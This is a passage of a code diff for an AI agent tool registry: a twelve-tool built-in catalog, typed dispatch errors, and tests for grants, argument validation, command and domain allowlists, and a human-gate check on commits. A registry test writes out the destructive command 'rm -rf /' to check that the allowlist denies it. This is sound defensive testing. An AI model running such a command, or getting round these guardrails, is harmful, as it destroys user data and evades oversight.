glob: '*.ts' }, cap: 'fs' }, + { id: 'run_command', args: { command: 'ls', args: ['-l'], cwd: '/w', timeoutMs: 5, env: { X: '1' } }, cap: 'process' }, + { id: 'git_status', args: { command: 'log', args: ['--oneline'] }, cap: 'process' }, + { id: 'git_commit', args: { message: 'm', files: ['a.ts'] }, cap: 'process' }, + { id: 'http_request', args: { method: 'POST', url: 'https://x', headers: { a: 'b' }, body: '{}' }, cap: 'egress' }, + { id: 'web_search', args: { query: 'q', endpoint: 'https://s', credentialRef: 'r' }, cap: 'egress' }, + { id: 'mcp_call', args: { server: 's', tool: 't', args: { a: 1 } }, cap: 'mcp' }, + { id: 'read_clipboard', args: {}, cap: 'os' }, + { id: 'notify', args: { title: 't', body: 'b' }, cap: 'os' }, +]; + +describe('built-in catalog', () => { + it('registers 12 unique built-ins, all sourced "builtin"', () => { + expect(BUILTIN_TOOLS).toHaveLength(12); + expect(new Set(BUILTIN_TOOL_IDS).size).toBe(12); + expect(BUILTIN_TOOLS.every((candidate) => candidate.source === 'builtin')).toBe(true); + }); + + it('never exposes a config-only param in the LLM-visible schema', () => { + for (const candidate of BUILTIN_TOOLS) { + const props = (candidate.llmVisibleParams['properties'] ?? {}) as Record; + for (const configOnly of candidate.configOnlyParams ?? []) { + expect(props).not.toHaveProperty(configOnly); + } + } + }); +}); + +describe('built-in dispatch', () => { + it.each(CASES)('$id dispatches through the host capability', async ({ id, args }) => { + const target = tool(id); + const result = await target.dispatch(target.parseArgs(args), fullHost(), ctx); + expect(result).toBeDefined(); + }); + + it.each(CASES.filter((toolCase): toolCase is ToolCase & { cap: string } => toolCase.cap !== undefined))( + '$id fails with a typed ToolUnavailableError when the $cap capability is absent', + async ({ id, args, cap }) => { + const target = tool(id); + const err = await rejection(() => target.dispatch(target.parseArgs(args), {}, ctx)); + expect(err).toBeInstanceOf(ToolUnavailableError); + expect(err).toMatchObject({ capability: cap }); + }, + ); + + it('invoke_agent delegates to ctx.invokeAgent and fails typed without it', async () => { + const target = tool('invoke_agent'); + const out = await target.dispatch(target.parseArgs({ nodeId: 'n2', input: 1 }), {}, { + ...ctx, + invokeAgent: (nodeId) => Promise.resolve({ ranNode: nodeId }), + }); + expect(out).toEqual({ ranNode: 'n2' }); + const err = await rejection(() => target.dispatch(target.parseArgs({ nodeId: 'n2' }), {}, ctx)); + expect(err).toBeInstanceOf(ToolUnavailableError); + }); + + it('notify acknowledges delivery', async () => { + const target = tool('notify'); + expect(await target.dispatch(target.parseArgs({ title: 't', body: 'b' }), fullHost(), ctx)).toEqual({ delivered: true }); + }); +}); + +describe('built-in policy targets', () => { + it('run_command resolves the full command string for the allowlist', () => { + const target = tool('run_command'); + expect(target.policyTarget?.(target.parseArgs({ command: 'npm', args: ['run', 'build'] }))).toEqual({ + command: 'npm run build', + }); + }); + + it('http_request exposes its url as the egress policy target', () => { + const target = tool('http_request'); + expect(target.policyTarget?.(target.parseArgs({ url: 'https://x/y' }))).toEqual({ url: 'https://x/y' }); + }); + + it('a pre-approved git_status has no policy target', () => { + expect(tool('git_status').policyTarget).toBeUndefined(); + }); +}); + +describe('built-in arg validation', () => { + it('rejects an unknown key (strict)', () => { + expect(() => tool('read_file').parseArgs({ path: 'a', surprise: 1 })).toThrow(); + }); + + it('rejects a missing required field', () => { + expect(() => tool('git_commit').parseArgs({})).toThrow(); + expect(() => tool('mcp_call').parseArgs({ server: 's' })).toThrow(); + }); +}); diff --git a/packages/core/src/tools/builtins.ts b/packages/core/src/tools/builtins.ts new file mode 100644 index 00000000..f4375b44 --- /dev/null +++ b/packages/core/src/tools/builtins.ts @@ -0,0 +1,409 @@ +/** + * The built-in `ToolDef` catalog (1.T) — the twelve tools every local agent can call + * ([built-in-tools.md](../../../../docs/reference/shared-core/built-in-tools.md)). Each is engine-pure: + * `parseArgs` is the executable Zod validator (the full effective-arg set, including config-only params), + * `llmVisibleParams` is the LLM-facing projection the `ToolNormalizer` (1.E) lowers, and `dispatch` + * performs side effects ONLY through the injected `ToolHost`. The egress tools (`http_request` / + * `web_search` / `mcp_call`) are dispatchable against a stub host now and ship gated at the surfaces + * until the shared SSRF primitive lands (1.AE) — i.e. their host capability is simply not wired yet. + */ + +import { z } from 'zod'; + +import { ToolUnavailableError } from './errors.js'; +import { + type EgressCapability, + type FsCapability, + type JsonSchema, + type McpCapability, + type OsCapability, + type PolicyTarget, + type ProcessCapability, + type ToolDef, + type ToolDispatchContext, + type ToolHost, + type ToolId, + type ToolPolicyClass, +} from './types.js'; + +/* ------------------------------------------------------------------------------------------------ * + * Helpers. + * ------------------------------------------------------------------------------------------------ */ + +// Generic over the validated arg type `A` (inferred from `args: z.ZodType`), not over the schema +// type, so `parseArgs` returns a real `A` rather than `z.infer` (= `any`). +interface BuiltinSpec { + readonly id: ToolId; + readonly description: string; + readonly args: z.ZodType; + readonly llmVisibleParams: JsonSchema; + readonly configOnlyParams?: readonly string[]; + readonly policy: ToolPolicyClass; + readonly policyTarget?: (args: A) => PolicyTarget; + readonly dispatch: (args: A, host: ToolHost, ctx: ToolDispatchContext) => Promise; +} + +function defineBuiltin(spec: BuiltinSpec): ToolDef { + const def: ToolDef = { + id: spec.id, + source: 'builtin', + description: spec.description, + parseArgs: (raw: unknown): A => spec.args.parse(raw), + llmVisibleParams: spec.llmVisibleParams, + policy: spec.policy, + ...(spec.configOnlyParams !== undefined ? { configOnlyParams: spec.configOnlyParams } : {}), + ...(spec.policyTarget !== undefined ? { policyTarget: spec.policyTarget } : {}), + dispatch: spec.dispatch, + }; + // Erase the `Args` generic so heterogeneous tools share one `ToolDef[]`. The cast is necessary — + // `policyTarget`'s parameter is contravariant — and safe by construction: the registry validates via + // `parseArgs` BEFORE it ever calls `dispatch`/`policyTarget`, so the value those receive is exactly `A`. + return def as ToolDef; +} + +function requireFs(host: ToolHost, toolId: ToolId): FsCapability { + if (host.fs === undefined) { + throw new ToolUnavailableError(toolId, 'fs'); + } + return host.fs; +} +function requireProcess(host: ToolHost, toolId: ToolId): ProcessCapability { + if (host.process === undefined) { + throw new ToolUnavailableError(toolId, 'process'); + } + return host.process; +} +function requireEgress(host: ToolHost, toolId: ToolId): EgressCapability { + if (host.egress === undefined) { + throw new ToolUnavailableError(toolId, 'egress'); + } + return host.egress; +} +function requireOs(host: ToolHost, toolId: ToolId): OsCapability { + if (host.os === undefined) { + throw new ToolUnavailableError(toolId, 'os'); + } + return host.os; +} +function requireMcp(host: ToolHost, toolId: ToolId): McpCapability { + if (host.mcp === undefined) { + throw new ToolUnavailableError(toolId, 'mcp'); + } + return host.mcp; +} + +const FS_POLICY: ToolPolicyClass = { fsScoped: true, spawnsProcess: false, requiresGateApproval: false }; +const OS_POLICY: ToolPolicyClass = { fsScoped: false, spawnsProcess: false, requiresGateApproval: false }; + +/* ------------------------------------------------------------------------------------------------ * + * Filesystem tools. + * ------------------------------------------------------------------------------------------------ */ + +const readFileTool = defineBuiltin({ + id: 'read_file', + description: 'Read a text file as UTF-8; binary/media content returns a durable media handle.', + args: z.object({ path: z.string().min(1), glob: z.boolean().optional() }).strict(), + llmVisibleParams: { + type: 'object', + properties: { path: { type: 'string' }, glob: { type: 'boolean' } }, + required: ['path'], + additionalProperties: false, + }, + policy: FS_POLICY, + dispatch: (args, host, ctx) => + requireFs(host, 'read_file').readFile(args.path, { glob: args.glob }, ctx.signal), +}); + +const writeFileTool = defineBuiltin({ + id: 'write_file', + description: 'Write or append content to a file, within the allowed FS scope only.', + args: z + .object({ + path: z.string().min(1), + content: z.string(), + append: z.boolean().optional(), + createDirs: z.boolean().optional(), + }) + .strict(), + llmVisibleParams: { + type: 'object', + properties: { + path: { type: 'string' }, + content: { type: 'string' }, + append: { type: 'boolean' }, + createDirs: { type: 'boolean' }, + }, + required: ['path', 'content'], + additionalProperties: false, + }, + policy: FS_POLICY, + dispatch: (args, host, ctx) => + requireFs(host, 'write_file').writeFile( + args.path, + args.content, + { append: args.append, createDirs: args.createDirs }, + ctx.signal, + ), +}); + +const listDirectoryTool = defineBuiltin({ + id: 'list_directory', + description: 'List directory contents, optionally recursive with a glob filter.', + args: z + .object({ path: z.string().min(1), recursive: z.boolean().optional(), glob: z.string().optional() }) + .strict(), + llmVisibleParams: { + type: 'object', + properties: { + path: { type: 'string' }, + recursive: { type: 'boolean' }, + glob: { type: 'string' }, + }, + required: ['path'], + additionalProperties: false, + }, + policy: FS_POLICY, + dispatch: (args, host, ctx) => + requireFs(host, 'list_directory').listDirectory( + args.path, + { recursive: args.recursive, glob: args.glob }, + ctx.signal, + ), +}); + +/* ------------------------------------------------------------------------------------------------ * + * Process tools. + * ------------------------------------------------------------------------------------------------ */ + +const runCommandTool = defineBuiltin({ + id: 'run_command', + description: 'Spawn an allowlisted shell command (shell:false) and capture stdout/stderr/exit code.', + args: z + .object({ + command: z.string().min(1), + args: z.array(z.string()).optional(), + cwd: z.string().optional(), + timeoutMs: z.number().int().positive().optional(), + env: z.record(z.string()).optional(), + }) + .strict(), + llmVisibleParams: { + type: 'object', + properties: { command: { type: 'string' }, args: { type: 'array', items: { type: 'string' } } }, + required: ['command'], + additionalProperties: false, + }, + // cwd / timeoutMs / env are pinned by config, never model-supplied. + configOnlyParams: ['cwd', 'timeoutMs', 'env'], + policy: { fsScoped: false, spawnsProcess: true, requiresGateApproval: false }, + // The resolved command the exact-match allowedCommands allowlist inspects (ADR-0029(a)). + policyTarget: (args) => ({ command: [args.command, ...(args.args ?? [])].join(' ') }), + dispatch: (args, host, ctx) => + requireProcess(host, 'run_command').spawn( + args.command, + args.args ?? [], + args.env ?? {}, + { cwd: args.cwd, timeoutMs: args.timeoutMs }, + ctx.signal, + ), +}); + +const gitStatusTool = defineBuiltin({ + id: 'git_status', + description: 'Run git status / log / diff in the workspace (pre-approved git allowlist).', + args: z + .object({ command: z.enum(['status', 'log', 'diff']).optional(), args: z.array(z.string()).optional() }) + .strict(), + llmVisibleParams: { + type: 'object', + properties: { + command: { type: 'string', enum: ['status', 'log', 'diff'] }, + args: { type: 'array', items: { type: 'string' } }, + }, + additionalProperties: false, + }, + // Pre-approved: no policyTarget command, so the generic allowedCommands check is skipped. + policy: { fsScoped: false, spawnsProcess: true, requiresGateApproval: false }, + dispatch: (args, host, ctx) => + requireProcess(host, 'git_status').spawn( + 'git', + [args.command ?? 'status', ...(args.args ?? [])], + {}, + {}, + ctx.signal, + ), +}); + +const gitCommitTool = defineBuiltin({ + id: 'git_commit', + description: 'Stage files and create a commit — requires a human-gate approval in automated workflows.', + args: z.object({ message: z.string().min(1), files: z.array(z.string()).optional() }).strict(), + llmVisibleParams: { + type: 'object', + properties: { message: { type: 'string' }, files: { type: 'array', items: { type: 'string' } } }, + required: ['message'], + additionalProperties: false, + }, + policy: { fsScoped: false, spawnsProcess: true, requiresGateApproval: true }, + dispatch: (args, host, ctx) => + requireProcess(host, 'git_commit').spawn( + 'git', + ['commit', '-m', args.message, ...(args.files ?? [])], + {}, + {}, + ctx.signal, + ), +}); + +/* ------------------------------------------------------------------------------------------------ * + * Egress tools (gated until the shared SSRF primitive lands — 1.AE). + * ------------------------------------------------------------------------------------------------ */ + +const httpRequestTool = defineBuiltin({ + id: 'http_request', + description: 'Outbound HTTPS request to an allowedDomains host (HTTPS-only, exact-FQDN, SSRF-guarded).', + args: z + .object({ + method: z.enum(['GET', 'POST', 'PUT', 'DELETE']).optional(), + url: z.string().min(1), + headers: z.record(z.string()).optional(), + body: z.string().optional(), + }) + .strict(), + llmVisibleParams: { + type: 'object', + properties: { + method: { type: 'string', enum: ['GET', 'POST', 'PUT', 'DELETE'] }, + url: { type: 'string' }, + headers: { type: 'object', additionalProperties: { type: 'string' } }, + body: { type: 'string' }, + }, + required: ['url'], + additionalProperties: false, + }, + policy: { fsScoped: false, spawnsProcess: false, egress: 'http', requiresGateApproval: false }, + policyTarget: (args) => ({ url: args.url }), + dispatch: (args, host, ctx) => + requireEgress(host, 'http_request').fetch( + { method: args.method ?? 'GET', url: args.url, headers: args.headers, body: args.body }, + ctx.signal, + ), +}); + +const webSearchTool = defineBuiltin({ + id: 'web_search', + description: 'Search the web via the configured provider (key resolved host-side via a credential ref).', + args: z + .object({ + query: z.string().min(1), + maxResults: z.number().int().positive().optional(), + // Config-pinned: the provider endpoint + the opaque secret-store reference (never a raw key). + endpoint: z.string().optional(), + credentialRef: z.string().optional(), + }) + .strict(), + llmVisibleParams: { + type: 'object', + properties: { query: { type: 'string' }, maxResults: { type: 'integer', minimum: 1 } }, + required: ['query'], + additionalProperties: false, + }, + configOnlyParams: ['endpoint', 'credentialRef'], + policy: { fsScoped: false, spawnsProcess: false, egress: 'search', requiresGateApproval: false }, + dispatch: (args, host, ctx) => { + const endpoint = args.endpoint ?? ''; + const url = `${endpoint}?q=${encodeURIComponent(args.query)}`; + return requireEgress(host, 'web_search').fetch( + { method: 'GET', url, credentialRef: args.credentialRef }, + ctx.signal, + ); + }, +}); + +const mcpCallTool = defineBuiltin({ + id: 'mcp_call', + description: 'Invoke a tool on a configured MCP server (server URL runs the same SSRF primitive).', + args: z.object({ server: z.string().min(1), tool: z.string().min(1), args: z.unknown().optional() }).strict(), + llmVisibleParams: { + type: 'object', + properties: { server: { type: 'string' }, tool: { type: 'string' }, args: {} }, + required: ['server', 'tool'], + additionalProperties: false, + }, + policy: { fsScoped: false, spawnsProcess: false, egress: 'mcp', requiresGateApproval: false }, + dispatch: (args, host, ctx) => + requireMcp(host, 'mcp_call').call({ server: args.server, tool: args.tool, args: args.args }, ctx.signal), +}); + +/* ------------------------------------------------------------------------------------------------ * + * OS + orchestration tools. + * ------------------------------------------------------------------------------------------------ */ + +const readClipboardTool = defineBuiltin({ + id: 'read_clipboard', + description: 'Read the current clipboard text.', + args: z.object({}).strict(), + llmVisibleParams: { type: 'object', properties: {}, additionalProperties: false }, + policy: OS_POLICY, + dispatch: (_args, host, ctx) => requireOs(host, 'read_clipboard').readClipboard(ctx.signal), +}); + +const notifyTool = defineBuiltin({ + id: 'notify', + description: 'Send a native desktop notification (title + body).', + args: z.object({ title: z.string().min(1), body: z.string() }).strict(), + llmVisibleParams: { + type: 'object', + properties: { title: { type: 'string' }, body: { type: 'string' } }, + required: ['title', 'body'], + additionalProperties: false, + }, + policy: OS_POLICY, + dispatch: async (args, host, ctx) => { + await requireOs(host, 'notify').notify({ title: args.title, body: args.body }, ctx.signal); + return { delivered: true }; + }, +}); + +const invokeAgentTool = defineBuiltin({ + id: 'invoke_agent', + description: 'Dispatch another agent node by id with explicit input (orchestrator delegation).', + args: z.object({ nodeId: z.string().min(1), input: z.unknown().optional() }).strict(), + llmVisibleParams: { + type: 'object', + properties: { nodeId: { type: 'string' }, input: {} }, + required: ['nodeId'], + additionalProperties: false, + }, + policy: OS_POLICY, + dispatch: (args, _host, ctx) => { + if (ctx.invokeAgent === undefined) { + // Not a ToolHost I/O capability — an engine delegate. Absent ⇒ the same typed unavailable error. + throw new ToolUnavailableError('invoke_agent', 'invokeAgent'); + } + return ctx.invokeAgent(args.nodeId, args.input); + }, +}); + +/* ------------------------------------------------------------------------------------------------ * + * The catalog. + * ------------------------------------------------------------------------------------------------ */ + +/** The built-in tool catalog (built-in-tools.md). Register these into a `ToolRegistry` with a host. */ +export const BUILTIN_TOOLS: readonly ToolDef[] = [ + readFileTool, + writeFileTool, + listDirectoryTool, + runCommandTool, + gitStatusTool, + gitCommitTool, + httpRequestTool, + webSearchTool, + mcpCallTool, + readClipboardTool, + notifyTool, + invokeAgentTool, +]; + +/** The built-in tool ids (sorted), for grant construction and tests. */ +export const BUILTIN_TOOL_IDS: readonly ToolId[] = BUILTIN_TOOLS.map((tool) => tool.id).sort(); diff --git a/packages/core/src/tools/errors.ts b/packages/core/src/tools/errors.ts new file mode 100644 index 00000000..4260e745 --- /dev/null +++ b/packages/core/src/tools/errors.ts @@ -0,0 +1,138 @@ +/** + * Typed, discriminated errors thrown by the engine-side `ToolRegistry` dispatch (1.T). They mirror the + * parser/sandbox error pattern (a base class with a stable `code` discriminant, narrowed on `code` and + * never on `message`) and carry the closed-enum {@link ErrorCode} a run surfaces plus the retryable + * split owned by docs/standards/error-handling.md. Messages are **secret-free**: they name a tool id, a + * field, or a policy reason — never an argument VALUE (a resolved command/URL), a host stack, or a + * secret. The taxonomy + the mapping rationale live in + * [tool-registry.md](../../../../docs/reference/shared-core/tool-registry.md#error-taxonomy) and ADR-0037. + */ + +import type { ErrorCode } from '@relavium/shared'; + +import type { ToolId } from './types.js'; + +/** Stable discriminant for a tool-dispatch failure — callers narrow on `code`, never on `message`. */ +export type ToolErrorCode = + | 'unknown_tool' // the id was not an exact registry match (a misspelled / hallucinated call) + | 'tool_denied' // a guardrail or grant denial (unlisted command, blocked domain, not granted, missing gate) + | 'invalid_args' // the effective argument set failed the tool's validator or the secret-taint check + | 'capability_unavailable' // the required ToolHost capability was not injected (a host/config gap) + | 'execution_failed' // the host capability threw a non-cancel error + | 'cancelled'; // the run's AbortSignal fired during the tool — the cooperative-cancel path + +/** Base for every tool-dispatch error — narrow on {@link code}, never on `message`. */ +export abstract class ToolDispatchError extends Error { + /** The tool-error discriminant. */ + abstract readonly code: ToolErrorCode; + /** The closed run `ErrorCode` this maps to (sse-event-schema.md). */ + abstract readonly runErrorCode: ErrorCode; + /** A pure function of the fault class — owned by error-handling.md. Only `execution_failed` retries. */ + abstract readonly retryable: boolean; + /** The tool id involved, when one is known (a name, never a secret). */ + readonly toolId?: ToolId; + + protected constructor(message: string, toolId: ToolId | undefined, cause: unknown) { + super(message, cause === undefined ? undefined : { cause }); + if (toolId !== undefined) { + this.toolId = toolId; + } + } +} + +/** The id was not an exact registry match. The message lists the available ids (names, not secrets). */ +export class UnknownToolError extends ToolDispatchError { + readonly code = 'unknown_tool'; + readonly runErrorCode: ErrorCode = 'tool_failed'; + readonly retryable = false; + + constructor(toolId: ToolId, availableIds: readonly ToolId[]) { + super( + `unknown tool \`${toolId}\` — available tools: ${[...availableIds].sort().join(', ')}`, + toolId, + undefined, + ); + this.name = 'UnknownToolError'; + } +} + +/** + * A guardrail or grant denial — fatal, never retried (re-issuing the same denied call just re-denies). + * The message names the tool + the policy reason; it never echoes the resolved command/URL value. + */ +export class ToolPolicyError extends ToolDispatchError { + readonly code = 'tool_denied'; + readonly runErrorCode: ErrorCode = 'tool_denied'; + readonly retryable = false; + /** The policy that denied the call — a stable label, never an authored value. */ + readonly reason: ToolPolicyDenyReason; + + constructor(toolId: ToolId, reason: ToolPolicyDenyReason, message: string) { + super(message, toolId, undefined); + this.name = 'ToolPolicyError'; + this.reason = reason; + } +} +export type ToolPolicyDenyReason = + | 'not_granted' // the id is registered but not in the node's grant (registered ≠ authorized) + | 'command_not_allowed' // the resolved command is not in allowedCommands / allowedCommandGlobs (or empty ⇒ deny-all) + | 'domain_not_allowed' // the URL host is not in allowedDomains (or empty ⇒ deny-all) + | 'insecure_url' // the URL is not HTTPS (or has credentials-in-URL) + | 'gate_required'; // git_commit reached without a human-gate approval + +/** The effective argument set failed the tool's validator or the secret-taint check. Field names only. */ +export class ToolArgsInvalidError extends ToolDispatchError { + readonly code = 'invalid_args'; + readonly runErrorCode: ErrorCode = 'validation'; + readonly retryable = false; + /** The offending field paths (names only — never a received value). */ + readonly fields: readonly string[]; + + constructor(toolId: ToolId, fields: readonly string[], message: string, cause?: unknown) { + super(message, toolId, cause); + this.name = 'ToolArgsInvalidError'; + this.fields = fields; + } +} + +/** The required `ToolHost` capability was not injected — a host/config gap, not the model's fault. */ +export class ToolUnavailableError extends ToolDispatchError { + readonly code = 'capability_unavailable'; + readonly runErrorCode: ErrorCode = 'internal'; + readonly retryable = false; + /** The missing capability (a name, e.g. `egress`). */ + readonly capability: string; + + constructor(toolId: ToolId, capability: string) { + super(`tool \`${toolId}\` requires the host \`${capability}\` capability, which is not wired`, toolId, undefined); + this.name = 'ToolUnavailableError'; + this.capability = capability; + } +} + +/** The host capability threw a non-cancel error. The cause is kept for logs, off the user message. */ +export class ToolExecutionError extends ToolDispatchError { + readonly code = 'execution_failed'; + readonly runErrorCode: ErrorCode = 'tool_failed'; + readonly retryable = true; + + constructor(toolId: ToolId, message: string, cause?: unknown) { + super(message, toolId, cause); + this.name = 'ToolExecutionError'; + } +} + +/** + * The run's `AbortSignal` fired during the tool — surfaced on the cooperative-cancel path (`cancelled`), + * never `tool_failed`, so it composes with ADR-0036's cancel precedence. + */ +export class ToolCancelledError extends ToolDispatchError { + readonly code = 'cancelled'; + readonly runErrorCode: ErrorCode = 'cancelled'; + readonly retryable = false; + + constructor(toolId: ToolId | undefined, cause?: unknown) { + super(toolId === undefined ? 'tool dispatch cancelled' : `tool \`${toolId}\` cancelled`, toolId, cause); + this.name = 'ToolCancelledError'; + } +} diff --git a/packages/core/src/tools/registry.test.ts b/packages/core/src/tools/registry.test.ts new file mode 100644 index 00000000..104abf15 --- /dev/null +++ b/packages/core/src/tools/registry.test.ts @@ -0,0 +1,448 @@ +import type { AbortSignalLike, ToolPolicy } from '@relavium/shared'; +import { describe, expect, it, vi } from 'vitest'; + +import { BUILTIN_TOOLS, BUILTIN_TOOL_IDS } from './builtins.js'; +import { + ToolArgsInvalidError, + ToolCancelledError, + ToolExecutionError, + ToolPolicyError, + ToolUnavailableError, + UnknownToolError, +} from './errors.js'; +import { createToolRegistry } from './registry.js'; +import { isUntrusted, unwrapUntrusted } from './untrusted.js'; +import type { + EgressRequest, + EgressResponse, + FsCapability, + ToolCallPart, + ToolDispatchContext, + ToolHost, +} from './types.js'; + +/* --- helpers --- */ + +function call(name: string, args?: unknown, providerExecuted?: boolean): ToolCallPart { + return { + type: 'tool_call', + id: 'c1', + name, + args, + ...(providerExecuted !== undefined ? { providerExecuted } : {}), + }; +} + +function stubHost(overrides?: Partial): ToolHost { + return { + fs: { + readFile: (path) => + Promise.resolve({ content: `body:${path}`, mimeType: 'text/plain', sizeBytes: 4, lastModified: 't' }), + writeFile: (path, data) => Promise.resolve({ path, bytesWritten: data.length }), + listDirectory: () => Promise.resolve({ entries: [] }), + }, + process: { + spawn: () => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 }), + }, + egress: { + fetch: () => Promise.resolve({ status: 200, headers: {}, body: '{}' }), + }, + os: { + readClipboard: () => Promise.resolve('clip'), + notify: () => Promise.resolve(), + }, + mcp: { + call: () => Promise.resolve({ ok: true }), + }, + outputStore: { + spill: (text) => Promise.resolve({ ref: 'spill://1', byteLength: text.length }), + }, + ...overrides, + }; +} + +function fsWith(readFile: FsCapability['readFile']): FsCapability { + return { + readFile, + writeFile: (path, data) => Promise.resolve({ path, bytesWritten: data.length }), + listDirectory: () => Promise.resolve({ entries: [] }), + }; +} + +function ctx(overrides?: Partial): ToolDispatchContext { + return { + nodeId: 'n1', + grantedToolIds: new Set(BUILTIN_TOOL_IDS), + config: {}, + toolPolicy: {} satisfies ToolPolicy, + fsScope: 'sandboxed', + gateApproved: false, + ...overrides, + }; +} + +async function rejectsWith(promise: Promise): Promise { + try { + await promise; + } catch (error) { + return error as E; + } + throw new Error('expected the promise to reject, but it resolved'); +} + +function registry(host: ToolHost = stubHost()): ReturnType { + return createToolRegistry({ tools: BUILTIN_TOOLS, host }); +} + +/* --- happy path + shape --- */ + +describe('ToolRegistry — happy path and outcome shape', () => { + it('dispatches read_file and returns mapped output + untrusted result + sanitized events', async () => { + const out = await registry().dispatch(call('read_file', { path: 'a.txt' }), ctx()); + expect(out.output).toEqual({ content: 'body:a.txt', mimeType: 'text/plain', sizeBytes: 4, lastModified: 't' }); + expect(isUntrusted(out.toolResult)).toBe(true); + const part = unwrapUntrusted(out.toolResult); + expect(part.type).toBe('tool_result'); + expect(part.toolCallId).toBe('c1'); + expect(out.truncated).toBe(false); + expect(out.events.call).toEqual({ toolId: 'read_file', toolInput: { path: 'a.txt' } }); + expect(out.events.result.success).toBe(true); + expect(out.events.result.toolId).toBe('read_file'); + }); + + it('exposes has() and a sorted list() of every built-in', () => { + const reg = registry(); + expect(reg.has('read_file')).toBe(true); + expect(reg.has('nope')).toBe(false); + expect(reg.list()).toEqual([...BUILTIN_TOOL_IDS].sort()); + expect(reg.list()).toHaveLength(12); + }); + + it('rejects a duplicate tool id at construction', () => { + const dup = BUILTIN_TOOLS[0]; + if (dup === undefined) { + throw new Error('no built-in tools'); + } + expect(() => createToolRegistry({ tools: [dup, dup], host: stubHost() })).toThrow(/duplicate tool id/); + }); +}); + +/* --- resolution + grant --- */ + +describe('ToolRegistry — resolution and grant', () => { + it('rejects an unknown tool id, listing the available tools', async () => { + const err = await rejectsWith(registry().dispatch(call('nope'), ctx())); + expect(err).toBeInstanceOf(UnknownToolError); + expect(err.runErrorCode).toBe('tool_failed'); + expect(err.message).toContain('read_file'); + }); + + it('refuses a registered-but-not-granted tool (registered ≠ authorized)', async () => { + const err = await rejectsWith( + registry().dispatch(call('write_file', { path: 'x', content: 'y' }), ctx({ grantedToolIds: new Set(['read_file']) })), + ); + expect(err).toBeInstanceOf(ToolPolicyError); + expect(err.reason).toBe('not_granted'); + expect(err.runErrorCode).toBe('tool_denied'); + }); + + it('never dispatches a provider-executed call', async () => { + const err = await rejectsWith( + registry().dispatch(call('read_file', { path: 'a' }, true), ctx()), + ); + expect(err).toBeInstanceOf(ToolPolicyError); + expect(err.message).toContain('provider-executed'); + }); +}); + +/* --- arg validation + secret taint --- */ + +describe('ToolRegistry — argument validation and secret taint', () => { + it('rejects effective args that fail the validator, naming the field (not the value)', async () => { + const err = await rejectsWith(registry().dispatch(call('read_file', {}), ctx())); + expect(err).toBeInstanceOf(ToolArgsInvalidError); + expect(err.runErrorCode).toBe('validation'); + expect(err.fields).toContain('path'); + }); + + it('rejects a secret-tainted value flowing into a tool argument (ADR-0029(c), effective set)', async () => { + const err = await rejectsWith( + registry().dispatch(call('read_file', { path: 'a' }), ctx({ secretArgKeys: new Set(['path']) })), + ); + expect(err).toBeInstanceOf(ToolArgsInvalidError); + expect(err.fields).toEqual(['path']); + expect(err.message).toContain('credential reference'); + }); +}); + +/* --- the ordering / tool-node bypass guarantee --- */ + +describe('ToolRegistry — guardrails run on the EFFECTIVE args (no tool-node bypass)', () => { + it('enforces the command allowlist on an input_mapping-derived command with NO model args', async () => { + const err = await rejectsWith( + registry().dispatch( + call('run_command'), // no model args — a tool-node-style call + ctx({ + config: { inputMapping: { command: 'rm', args: ['-rf', '/'] } }, + toolPolicy: { allowedCommands: ['ls'] }, + }), + ), + ); + expect(err).toBeInstanceOf(ToolPolicyError); + expect(err.reason).toBe('command_not_allowed'); + }); + + it('allows an input_mapping-derived command that IS on the allowlist', async () => { + const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 })); + const out = await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + call('run_command'), + ctx({ config: { inputMapping: { command: 'ls', args: ['-la'] } }, toolPolicy: { allowedCommands: ['ls -la'] } }), + ); + expect(out.events.result.success).toBe(true); + expect(spawn).toHaveBeenCalledOnce(); + }); +}); + +/* --- run_command allowlist matching --- */ + +describe('ToolRegistry — run_command allowlist', () => { + const run = (args: unknown, policy: ToolPolicy): Promise => + registry().dispatch(call('run_command', args), ctx({ toolPolicy: policy })); + + it('matches EXACTLY — `npm` is not authorized by `npm test`', async () => { + const err = await rejectsWith(run({ command: 'npm' }, { allowedCommands: ['npm test'] })); + expect(err.reason).toBe('command_not_allowed'); + }); + + it('allows an exact resolved match (command + args joined)', async () => { + const out = await run({ command: 'npm', args: ['test'] }, { allowedCommands: ['npm test'] }); + expect((out as { events: { result: { success: boolean } } }).events.result.success).toBe(true); + }); + + it('allows an opt-in glob match', async () => { + const out = await run({ command: 'npm', args: ['run', 'build'] }, { allowedCommandGlobs: ['npm *'] }); + expect((out as { events: { result: { success: boolean } } }).events.result.success).toBe(true); + }); + + it('denies by default when both allowlists are empty/absent', async () => { + const err = await rejectsWith(run({ command: 'ls' }, {})); + expect(err.reason).toBe('command_not_allowed'); + }); + + it('skips the allowlist for a pre-approved git_status (no policy target)', async () => { + const out = await registry().dispatch(call('git_status', { command: 'status' }), ctx({ toolPolicy: {} })); + expect(out.events.result.success).toBe(true); + }); +}); + +/* --- http_request egress policy --- */ + +describe('ToolRegistry — http_request egress policy', () => { + const http = (url: string, policy: ToolPolicy): Promise => + registry().dispatch(call('http_request', { url }), ctx({ toolPolicy: policy })); + + it('allows an exact-FQDN host on the allowlist', async () => { + const out = await http('https://api.example.com/v1/x', { allowedDomains: ['api.example.com'] }); + expect((out as { events: { result: { success: boolean } } }).events.result.success).toBe(true); + }); + + it('rejects a non-HTTPS URL', async () => { + const err = await rejectsWith(http('http://api.example.com', { allowedDomains: ['api.example.com'] })); + expect(err.reason).toBe('insecure_url'); + }); + + it('rejects credentials embedded in the URL', async () => { + const err = await rejectsWith( + http('https://user:pass@api.example.com/x', { allowedDomains: ['api.example.com'] }), + ); + expect(err.reason).toBe('insecure_url'); + }); + + it('rejects a host not on the allowlist', async () => { + const err = await rejectsWith(http('https://evil.example.org/x', { allowedDomains: ['api.example.com'] })); + expect(err.reason).toBe('domain_not_allowed'); + }); + + it('denies by default when allowedDomains is empty/absent', async () => { + const err = await rejectsWith(http('https://api.example.com/x', {})); + expect(err.reason).toBe('domain_not_allowed'); + }); + + it('strips a port before matching the FQDN', async () => { + const out = await http('https://api.example.com:8443/x', { allowedDomains: ['api.example.com'] }); + expect((out as { events: { result: { success: boolean } } }).events.result.success).toBe(true); + }); +}); + +/* --- git_commit gate --- */ + +describe('ToolRegistry — git_commit human-gate', () => { + it('blocks git_commit without a gate approval', async () => { + const err = await rejectsWith( + registry().dispatch(call('git_commit', { message: 'x' }), 